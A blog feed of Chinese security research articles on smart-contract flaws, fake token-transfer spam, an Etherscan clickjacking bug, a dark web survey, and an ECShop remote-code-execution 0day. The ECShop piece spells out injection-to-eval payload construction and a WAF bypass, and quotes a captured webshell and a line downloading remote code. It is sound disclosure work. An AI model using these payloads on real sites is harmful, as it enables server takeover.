RSS Feed
更好更安全的互联网
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告

    2018-09-25
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年9月21日
    系列文章:

    一、简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“地址初始化问题”、“判断函数问题”、“余额判断问题”、“转账函数问题”、“代码外部调用设计问题”、“错误处理”、“弱随机数问题”等问题统一归类为“以太坊智能合约编码设计问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码设计”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。

    这次我们提到的编码设计问题就和EVM底层的设计有很大的关系,由于EVM的特性,智能合约有很多与其他语言不同的特性,当开发者没有注意到这些问题时,就容易出现潜在的问题。

    1、地址初始化问题

    在EVM中,所有与地址有关的初始化时,都会赋予初值0。

    如果一个address变量与0相等时,说明该变量可能未初始化或出现了未知的错误。

    如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。

    2、判断函数问题

    在智能合约中,有个很重要的校验概念。下面这种问题的出现主要是合约代币的内部交易。

    但如果在涉及到关键判断(如余额判断)等影响到交易结果时,当交易发生错误,我们需要对已经执行的交易结果进行回滚,而EVM不会检查交易函数的返回结果。如果我们使用return false,EVM是无法获取到这个错误的,则会导致在之前的文章中提到的假充值问题

    在智能合约中,我们需要抛出这个错误,这样EVM才能获取到错误触发底层的revert指令回滚交易。

    而在solidity扮演这一角色的,正是require函数。而有趣的是,在solidity中,还有一个函数叫做assert,和require不同的是,它底层对应的是空指令,EVM执行到这里时就会报错退出,不会触发回滚。

    转化到直观的交易来看,如果我们使用assert函数校验时,assert会消耗掉所有剩余的gas。而require会触发回滚操作。

    assert在校验方面展现了强一致性,除了对固定变量的检查以外,require更适合这种情况下的使用。

    3、余额判断问题

    在智能合约中,经常会出现对用户余额的判断,尤其是账户初建时,许多合约都会对以合约创建时余额为0来判断合约的初建状态,这是一种错误的行为。

    在智能合约中,永远无法阻止别人向你的强制转账,即使fallback函数throw也不可以。攻击者可以创建带有余额的新合约,然后调用selfdestruct(victimAddress)销毁,这样余额就会强制转移给目标,在这个过程中,不会调用目标合约的代码,所以无法从代码层面阻止。

    值得注意的是,在打包的过程中,攻击者可以通过条件竞争来在合约创建前转账,这样在合约创建时余额就为0了。

    4、转账函数问题

    在智能合约中,涉及到转账的操作最常见不过了。而在solidity中,提供了两个函数用于转账tranfer/send。

    当tranfer/send函数的目标是合约时,会调用合约内的fallback函数。但当fallback函数执行错误时,transfer函数会抛出错误并回滚,而send则会返回false。如果在使用send函数交易时,没有及时做判断,则可能出现转账失败却余额减少的情况。

    上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

    5、代码外部调用设计问题

    在智能合约的设计思路中,有一个很重要的概念为外部调用。或是调用外部合约,又或是调用其它账户。这在智能合约的设计中是个很常见的思路,最常见的便是转账操作,就是典型的外部调用。

    但外部调用本身就是一个容易发生错误的操作,谁也不能肯定在和外部合约/用户交互时能确保顺利,举一个合约代币比较常见的例子

    上述代码当转账发生错误时可能会导致进一步其他的错误,如果碰到循环调用bid函数时,更可能导致循环到中途发生错误,在之前提到的ddos优化问题中,这也是一个很典型的例子。

    而这就是一个典型的push操作,指合约主动和外部进行交互,这种情况容易出现问题是难以定位难以弥补,导致潜在的问题。

    6、错误处理

    智能合约中,有一些涉及到address底层操作的方法

    他们都有一个典型的特点,就是遇到错误并不会抛出错误,而是会返回错误并继续执行。

    且作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True。如果合约开发者没有注意到这个问题,那么就有可能出现问题。

    http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/#4-Unchecked-Return-Values-For-Low-Level-Calls

    7、弱随机数问题

    智能合约是借助EVM运行,跑在区块链上的合约代码。其最大的特点就是公开和不可篡改性。而如何在合约上生成随机数就成了一个大问题。

    Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。

    上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。

    8万笔交易「封死」以太坊网络,只为抢夺Fomo3D大奖? Last Winner

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共42538个合约代码进行了扫描,其中35107个合约存在地址初始化问题,4262个合约存在判断函数问题,173个合约存在余额判断问题,930个合约存在转账函数问题, 349个合约存在弱随机数问题,2300个合约调用了block.timestamp,过半合约涉及到这类安全风险。

    1、地址初始化问题

    截止2018年9月21日,我们发现了35107个存在地址初始化问题的合约代码,存在潜在的安全隐患。

    2、判断函数问题

    截止2018年9月21日,我们发现了4262个存在判断函数问题的合约代码,存在潜在的安全隐患。

    3、余额判断问题

    截止2018年9月21日,我们发现了173个存在余额判断问题的合约代码,其中165个仍处于交易状态,其中交易量最高的10个合约情况如下:

    4、转账函数问题

    截止2018年9月21日,我们发现了930个存在转账函数问题的合约代码,其中873个仍处于交易状态,其中交易量最高的10个合约情况如下:

    5、弱随机数问题

    截止2018年9月21日,我们发现了349个存在弱随机数问题的合约代码,其中272个仍处于交易状态,其中交易量最高的10个合约情况如下:

    截止2018年9月21日,我们发现了2300个存在调用了block.timestamp的合约代码,其中2123个仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1、地址初始化问题

    涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失

    2、判断函数问题

    对于正常的判断来说,优先使用require来判断结果。

    而对于固定变量的检查,使用assert函数可以避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用

    3、余额判断问题

    不要在合约任何地方假设合约的余额,尤其是不要通过创建时合约为0来判断合约初建状态,攻击者可以使用多种方式强制转账。

    4、转账函数问题

    在完成交易时,默认推荐使用transfer函数而不是send完成交易。

    5、代码外部调用设计问题

    对于外部合约优先使用pull而不是push。如上述的转账函数,可以通过赋予提取权限来将主动行为转换为被动行为

    通过构建withdraw来使用户来执行合约将余额取出。

    6、错误处理

    合约中涉及到call等在address底层操作的方法时,做好合理的错误处理

    包括目标合约不存在时,也同样需要考虑。

    7、弱随机数问题

    智能合约上随机数生成方式需要更多考量

    在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。

    这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。

    有一个很棒的实现代码是dice2win的随机数生成代码。

    当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。

    五、一些思考

    在探索智能合约最佳实践的过程中,逐渐发现,在智能合约中有很多只有智能合约才会出现的问题,这些问题大多都是因为EVM的特殊性而导致的特殊特性,但开发者并没有对这些特性有所了解,导致很多的潜在安全问题诞生。

    我把这一类问题归结为编码设计问题,开发者可以在编码设计阶段注意这些问题,可以避免大多数潜在安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/707/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 【9.20更新】blockwell.ai KYC Casper Token “牛皮癣广告” 事件分析

    2018-09-18
    作者:知道创宇404区块链安全研究团队
    时间:2018/09/13

    一、背景

    2018年9月7日早上1点左右,许多以太坊钱包账户都收到了一种名为blockwell.ai KYC Casper Token代币转进/出账消息:

    令人奇怪的是这些账号均表示之前对这个Token的“一无所知”,当这些收到消息用户并没有真正收到提示的那100个代币,而那些提示有100代币转出的用户在之前也并没有拥有过这种代币,这一切都显得“莫名其妙”!更加让一部分人奇怪和担心的是,这些“转进/出账”的操作,都不需要钱包拥有者的的任何密码私钥输入,于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击 ...

    二、事件跟踪

    首先我们从blockwell.ai KYC Casper Token

    交易页面,看到的交易记录都是转出100代币的记录,没有任何转入记录。

    再看看实际转账到账户的交易信息

    可以看到通过调用这个合约,发起了一笔代币转账,在event logs里可以看到实际的交易

    然后具体的交易地址为

    整笔交易花费了244w的gas,价值2.28美元,有针对的从500个用户转账给了500个用户。

    继续跟踪到转账的from地址:

    正如文章开头提到的那样:所有的来源账户本身都是不持有这种代币的,跟踪一下也可以发现,无论是发起交易者还是接受交易者,都没有发生实际代币的变化。

    但是这些交易记录确实被保存在链上,那么这个事件的核心问题就在于:“这些记录是怎么被产生并记录的?”

    三、事件原理

    我们从合约分析入手

    不出所料,这种事件型的合约代码并不会直接给你开放源代码,通过利用我们404自主研发的智能合约OPCODE逆向工具,反编译后得到如下代码:

    源码如下

    从代码中可以很明显的看到一个特殊的函数x_975ef7df,这是唯一一个涉及到数组操作,且会触发Tranfser事件的函数。

    从代码中可以很清晰的看到, 在对地址列表的循环中,只触发了Transfer事件,没有任何其余的操作。

    我们知道遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币,ERC20代币会直接被交易所承认。而 在ERC20标准中规定,transfer函数必须触发Transfer事件,事件会被记录在event log中,是不是说明平台和交易所在获取ERC20代币交易信息,是通过event log事件获取的呢?我们来测试一下。

    四、事件复现

    首先我们需要编写一个简单的ERC20标准的代币合约

    合约代币需要规定好代币的名称等信息,然后我们定义一个mylog函数。

    这里我们通过remix进行部署(由于需要交易所获得提示信息,所以我们需要部署在公链上)

    测试合约地址

    注:这里需要强调的是:转出/入账的地址都是可以自定义的,这也就是为什么所有的来源账户本身都是不持有这种代币的原因。

    然后直接发起交易

    然后我们的imtoken提示了消息,注意收到的消息了包含了我们的代码里 symbol = "RMB";的值rmb

    回看余额可以发现没有实际转账诞生。

    五、事件目的

    通过上面分析及测试,我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录,并没有其他“实质”性的恶意操作,那么这个事件的目的是什么呢?

    我们回顾下整个事件的流程:

    创建一个token ---> 伪造交易记录 ---> 钱包或交易平台获取交易记录 ---> 推送给用户

    如果能找到自定义的消息,那么这是一条完美的消息推广链!这个事件的始作俑者非常聪明的利用了token名这个自定义输入点:blockwell.ai KYC Casper Token,blockwell.ai这个就是本次事件的主要目的,牛皮癣小广告推广这个网站。

    看你有的人会说如果只是用来做广告推广的话,完全可以使用代币的真实转账记录来推广,而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题,这个“广告费”也就是合约操作里的gas消耗,伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”,本次事件整个过程的话费的“广告费”约2.28美元的gas,就实现了对1000个用户有针对的推送了精准广告。

    六、总结

    结合以往的各种事件,相比于区块链的各种有限应用场景里,在“恶意”攻击或者利用的层面,攻击者们表现出了惊人的“创意”,本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点,使用了以太坊平台本身实现的“bug”,利用了最少的“广告费”实现了精准的用户广告推送。

    另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的,那么可能导致的风险是非常值得思考的:比如推送钓鱼网站信息,推送其他非法类型的小广告及言论,会导致钱包等平台应用方的用户的其他不可以预期的风险!我们也提醒各大钱包、交易所等平台警惕此类风险,必要时针对这些可自定义点进行相关识别及过滤。

    9月20日更新:一个有趣的点击劫持漏洞

    在复现上述漏洞的过程中,我们发现了一个有趣的漏洞,在上述合约代币用于做小广告的区域,是很少的一块我们可控的智能合约属性。

    那么假设合约展示平台如etherscan等,没有对这里做合理的处理,是不是可能会存在xss等漏洞呢。

    经过测试我们发现Etherscan就存在这样的点击劫持漏洞

    首先我们先部署以下代码

    部署后我们我们用合约发起一次交易

    然后查看etherscan的页面,在非常重要的进入查看合约信息的地方,成功被设置为其他地址的a标签

    当开发者或者用户想要查看合约信息的时候,点击按钮就会跳转到其他地方做进一步利用。

    这是一个潜力很大的点击劫持漏洞,攻击者完全可以用这种方式来诱导开发者或用户到错误的合约,甚至伪造的etherscan导致更大的危害。

    该漏洞目前已上报etherscan官方并修复。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/700/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • ECShop 0day 的堕落之路

    2018-09-12
    Author: Badcode@知道创宇404实验室
    Date: 2018/09/04

    背景

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

    随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

    知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

    从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

    漏洞分析

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

    注:以下代码分析基于ECShop 2.7.3

    SQL 注入漏洞

    首先看到ecshop/user.php

    可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

    接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

    可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

    make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

    由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

    $arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

    根据上面的流程,可以构造出如下形式的payload

    实际可利用payload

    代码执行

    继续看insert_ads函数

    可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

    要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

    之后$position_style会拼接'str:'传入fetch函数,跟进fetch

    因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

    这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

    跟进select函数

    当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    当传入的变量没有.$时,调用$this->make_var,跟进make_var

    在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

    接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

    结合之前的SQL漏洞的payload构造,所以最终的payload的是

    可以看到成功的执行了phpinfo()

    ECShop 3.x 绕过

    上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

    下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

    实际攻击分析

    上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    第一阶:0day在野之“APT攻击” (2018年6月13日)

    首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

    把捕获的 payload 转码出来看

    恶意代码

    base64部分的内容是

    可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

    本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

    第二阶:0day在野之“黑产攻击” (2018年8月)

    在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

    // file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

    从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

    第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

    在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

    从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...

    漏洞影响范围及修复

    根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

    漏洞修复

    目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

    看到ecshop4/ecshop/includes/lib_insert.php

    可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

    另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    小结

    本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

    感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 2018上半年暗网研究报告

    2018-09-12
    作者:知道创宇404实验室
    报告下载:《2018上半年暗网研究报告》

    1 基本概念

    1.1 Deep web/Dark web/Darknet

    讲述暗网之前,需要先了解“深网”(Deep web)、“暗网”(Dark web) 和“黑暗网络”(Darknet) 这三个词。虽然媒体可能经常交替使用它们,但实际上它们代表着截然不同而又相关的互联网区段。

    “深网”(Deep web) 是指服务器上可通过标准的网络浏览器和连接方法访问的页面和服务,但主流搜索引擎不会收录这些页面和服务。搜索引擎之所以不会收录深网,通常是因为网站或服务的配置错误、拒绝爬虫爬取信息、需要付费查看、需要注册查看或其他内容访问限制。

    “暗网”(Dark web) 是深网中相对较小的一部分,与被故意隐藏的 Web 服务和页面有关。仅使用标准浏览器无法直接访问这些服务和页面,必须依靠使用覆盖网络 (Overlay Network);而这种网络需要特定访问权限、代理配置、专用软件或特殊网络协议。

    “黑暗网络”(Darknet) 是在网络层访问受限的框架,例如 Tor 或 I2P。私有 VPN 和网状网络 (Mesh Network) 也属于这个类别。通过这些框架的网络流量会被屏蔽。当进行数据传输时,系统只会显示您连接的黑暗网络以及您传输了多少数据,而不一定会显示您访问的网站或所涉及数据的内容。与之相反的是,直接与明网(Clean Net)或与未加密的表网服务和深网服务交互。在这种情况下,您与所请求资源之间的互联网服务提供商 (ISP) 和网络运营商可以看到您传输的流量内容。

    1.2 暗网 (Dark Web) 的组成

    暗网只能通过Tor (The Onion Routing)和I2P(Invisible Internet Project)等网络访问。

    Tor又名洋葱网络,是用于匿名通信的软件,该名称源自原始软件项目名称“The Onion Router”的首字母缩写词,Tor网络由超过七千个中继节点组成,每个中继节点都是由全球志愿者免费提供,经过层层中继节点的中转,从而达到隐藏用户真实地址、避免网络监控及流量分析的目的。

    I2P网络是由I2P路由器以洋葱路由方式组成的表层网络,创建于其上的应用程序可以安全匿名的相互通信。它可以同时使用UDP及TCP协议,支持UPnP映射。其应用包括匿名上网、聊天、网站搭建和文件传输。

    通过知道创宇“暗网雷达”的实时监测数据表明,Tor 网络大约拥有12万个独立域名(onion address),而I2P网络公开地址薄大约只有8千个地址,体量相对 Tor 网络要小得多。

    2 暗网的现状

    2.1 Tor全球中继节点分布

    截至2018年7月31日,我们统计了全球中继节点的分布状况,全球总计有17635个中继节点,其中正在运行的有6386个,它们的平均带宽为5.33MB/s,最大带宽为99MB/s;相比其他区域而言,北美和欧洲的带宽更大;大部分中继节点分布在北美和欧洲,中国香港只有6个。

    因此可以得出结论,相比表网而言,暗网的规模要小的很多,Tor 网络节点带宽不足以支撑超大的网络流量,网络媒体关于暗网与表网的“冰山比喻”有些夸张了。

    2.2 Tor 网络数据统计

    根据Tor官方项目的统计数据显示,2018年上半年Tor暗网地址(onion addresses (version 2 only))数量峰值为121078个。

    图2.2 暗网地址数量Tor网络来自中国用户数量平均每天1159人,高峰期为2018年5月9日,达到3951人,绝大多数暗网中文用户使用 Meet 类型的流量访问Tor暗网。

    图2.2. 暗网中国用户数量统计针对约12万左右的暗网域名,我们深入进行了研究,得出结论:

    • Onion域名每日存活量约1.2万左右,只占总数的10%;
    • Onion v2 类型的域名有121451个,v3类型的域名只有379个;
    • 每日平均暗网新增数量为30个;

    2.3 Tor暗网的主要类别

    通过知道创宇“暗网雷达”的监测,我们将暗网归为12大类,各类占比如上图所示;通过对各类中独立域名的标题进行整合分析,提取网站标题中关键字出现的频率,生成词云:

    • 商业类占18.98%;其中包括交易市场,自营商店,第三方托管平台(网站担保);交易品种大多是信用卡、枪支、毒品、护照、电子产品、伪钞、欧元票据、亚马逊礼品卡、解密服务、杀手服务、比特币洗钱服务等;大多数网站使用比特币进行交易。
    • 个人类占5.90%;包括个人博客,页面,书籍等。
    • 社会类占4.57%;包括论坛,暗网维基等。
    • 其他语言(非英语)占3.82%;
    • 主机托管类占3.05%;主要为暗网服务托管商的宣传站,介绍其机器性能与架构。
    • 成人类占2.87%;
    • 技术类占2.74%;分享技术/出售黑客技术/售卖0day/漏洞利用
    • 核心网站占1.91%;包括暗网搜索引擎,暗网链接目录等
    • 通讯类占1.79%;包括聊天室,邮件服务,暗网邮箱
    • 政治与宗教类占1.34%;包括暗网的新闻媒体机构,全球维基解密,政党丑闻,激进主义言论,传教等。
    • 赌博类占0.46%;网络赌场等。
    • 其他类(艺术,音乐,需登陆的,无内容,被查封的,视频等)占52.57%;

    可以看到”Freedom Hosting II - hacked”这几个词在各大类中都占据很高的比例。原因是匿名者组织(Anonymous)攻击了当时最大的Tor暗网托管服务提供商Freedom Hosting II,因为它向大量共享儿童色情图片的网站提供主机托管服务。直接导致约20%的Tor网站关闭。

    2.4 Tor暗网Web服务分布

    我们统计了排名前20的Web服务器, 绝大多数暗网网站使用Nginx和Apache作为Web服务器,约1%的暗网使用了Cloudflare作为其 DDoS防护措施。

    2.5 Tor暗网开放端口分布

    http 80端口占69.55%;smtp 25端口占比23.24%;https 443端口占2.88%;ssh 22端口占1.68%。

    2.6 Tor暗网语种分布

    通过机器学习分析网站的标题和内容,我们将暗网进行了语种归类,Tor暗网语种总数有80种,英语依旧是暗网中最流行的语言,占比高达82.02%;接着依次是俄语3.77%、丹麦语2.22%、德语1.73%、拉丁语1.26%、西班牙语1.26%、法语1.13%、葡萄牙语1.00%、汉语0.75%、意大利语0.60%。

    3 暗网的威胁

    由于暗网的匿名特性,暗网中充斥着大量欺诈,非法的交易,没有限制的信息泄露,甚至是危害国家安全的犯罪等, 这些风险一直在威胁着社会,企业和国家的安全。2018年上半年,中国互联网就有大量的疑似数据泄露事件的信息在暗网传播,例如:《某视频网站内网权限及千万条用户数据库暗网售卖事件》

    • 2018年3月8日,黑客在暗网论坛发布某视频网站1500万一手用户数据
    • 2018年6月9日,黑客在暗网论坛发布某视频网站 SHLL+内网权限并公布了300条用户数据
    • 2018年6月13日凌晨,某视频网站官方发布公告称网站遭遇黑客攻击,近千万条用户数据外泄,提醒用户修改密码

    另外还有诸如

    • 某省1000万学籍信息在暗网出售
    • 某快递公司10亿条快递物流数据暗网出售

    等一系列的隐私信息泄露的事件在中国互联网引起广泛传播和关注。

    暗网也成为各种威胁情报信息的重要来源之一。

    从我们监测的数据来看,暗网还在呈现缓慢增长的态势,随着暗网用户的增多,黑市及加密数字货币的发展,更多的黑客在利益的的驱动下开展各种活动,把之前通过表网(互联网)传播的非法交易更多的转移至暗网,通过各种技术手段躲避追踪。对监管和调查造成了一定的困难。

    面对日益增长的暗网威胁, 知道创宇404安全研究团队会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁,为了更好更安全的互联网。


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/686/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊智能合约 OPCODE 逆向之调试器篇

    2018-09-05
    作者:Hcamael@知道创宇404区块链安全研究团队
    时间:2018/09/04
